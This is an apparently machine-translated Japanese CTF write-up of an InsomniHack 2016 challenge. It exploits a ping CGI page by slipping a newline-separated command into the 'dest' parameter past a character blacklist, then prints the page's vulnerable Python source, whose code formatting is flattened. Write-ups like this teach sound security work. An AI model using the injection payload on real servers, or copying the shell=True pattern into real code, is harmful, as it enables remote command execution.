ホームページ > 記事 > ウェブフロントエンド > InsomniHack 2016 CTF ティーザー – ノイズをもたらす Crypto 200 WriteUp_html/css_WEB-ITnose
友人の問題解決を手伝ってください 長い間ブログが更新されていなかったことを思い出したので書いてみました。
URL を教えてください。通常の思考に従ってフラグを取得するように求められます... (これをプレイするときに通常の思考に従う 2333333 についてすぐに文句を言いました...)
Give Web ページでは、他のホストに ping を実行して、結果を表示できます。
この段階では、単なる推測に相当し、ほぼリモートでコードが実行されます。次に、一般的な注入テストを開始しましたが、そのほとんどがフィルタリングされていることがわかりました。
幸いなことに、改行文字は禁止されておらず、Unix では区切り文字としても使用できます。
案の定、現在のディレクトリを一覧表示できます...そして、プロデューサーの頭脳の欠如について不平を言い始めます.... (後でわかります)
次に、このページが GET/POST リクエストを同時にサポートしていることがわかり、この CGI の内容を読み取るためのインジェクション ステートメントを作成しました:
?dest=%0acat Python #!/usr/bin/env python import cgi, subprocess, os headers = ["mod_cassette_is_back/0.1","format-me-i-im-famous","dirbuster.will.not.help.you","solve_me_already"] print "X-Powered-By: %s" % headers[os.getpid()%4]print "Content-type: text/html"print print """<html> <head><title>Can I haz Smart Cat ???</title></head> <body><h3> Smart Cat debugging interface</h3>""" blacklist = " $;&|({`\t"results = ""form = cgi.FieldStorage()dest = form.getvalue("dest", "127.0.0.1")for badchar in blacklist:if badchar in dest:results = "Bad character %s in dest" % badcharbreak if "%n" in dest:results = "Segmentation fault" if not results:try:results = subprocess.check_output("ping -c 1 "+dest, shell=True)except:results = "Error running " + "ping -c 1 "+dest print """ <form method="post" action="index.cgi">Ping destination: <input type="text" name="dest"/></form> Ping results:<pre class="brush:php;toolbar:false">%s